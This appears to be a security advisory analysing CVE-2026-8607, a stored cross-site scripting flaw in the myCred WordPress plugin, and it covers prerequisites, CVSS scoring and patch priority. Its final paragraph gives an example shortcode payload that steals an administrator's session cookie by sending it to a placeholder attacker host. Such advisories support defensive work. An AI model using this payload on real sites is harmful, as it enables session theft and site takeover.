myCred CVE-2026-8607

The attacker must hold an authenticated WordPress account assigned the contributor role or higher (Editor, Author, Administrator). The myCred plugin must be installed and active on the target WordPress site. The attacker must have permission to create or edit posts that contain shortcodes - standard contributor capability in WordPress. A victim user of any role must subsequently visit or preview a page rendering the injected shortcode for the payload to execute. Exploitation is concretely limited by the PR:L requirement: sites that do not allow public contributor registration, or that restrict shortcode usage in contributor content via capability controls, are not vulnerable to unauthenticated or low-effort attacks. No non-default myCred configuration is required - the leaderboard shortcode and 'wrap' attribute are standard plugin features. The XSS is stored server-side, so the attacker need not maintain any session after injection.

The CVSS 6.4 score (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) reflects a network-reachable, low-complexity attack requiring only low privileges and resulting in Changed Scope - the XSS payload executes in a different security context (the victim's browser) than where it was injected. The S:C flag is the key risk amplifier: even a contributor injecting a modest XSS can compromise an administrator's browser session, leading to full site takeover. No EPSS data was included in the source intelligence, and the CVE does not appear in CISA KEV, so active exploitation is unconfirmed. Real-world risk is gated heavily on contributor role availability - sites that allow open contributor registration or use contributor roles broadly are materially more exposed. Note: the provided CVSS vector uses UI:N; however, stored XSS by definition requires a victim to navigate to the injected page, which is a form of passive user interaction. This is a known scoring disagreement in the community - defenders should treat this as UI:R for risk prioritization. The absence of EPSS and KEV data, combined with the PR:L prerequisite, suggests this is a moderate-priority patching task rather than an emergency response item.

An attacker registers or compromises a contributor-level account on a WordPress site running myCred ≤ 3.1, then creates a new post containing a myCred leaderboard shortcode with a JavaScript payload embedded in the 'wrap' attribute (e.g., [mycred_leaderboard wrap="<script>document.location='https://attacker.example/steal?c='+document.cookie</script>"]). Once the post is published or saved as a draft that an administrator previews, the stored script fires in the administrator's browser, exfiltrating their session cookie and enabling the attacker to take over the site with full administrative privileges. No public proof-of-concept code has been identified at time of analysis.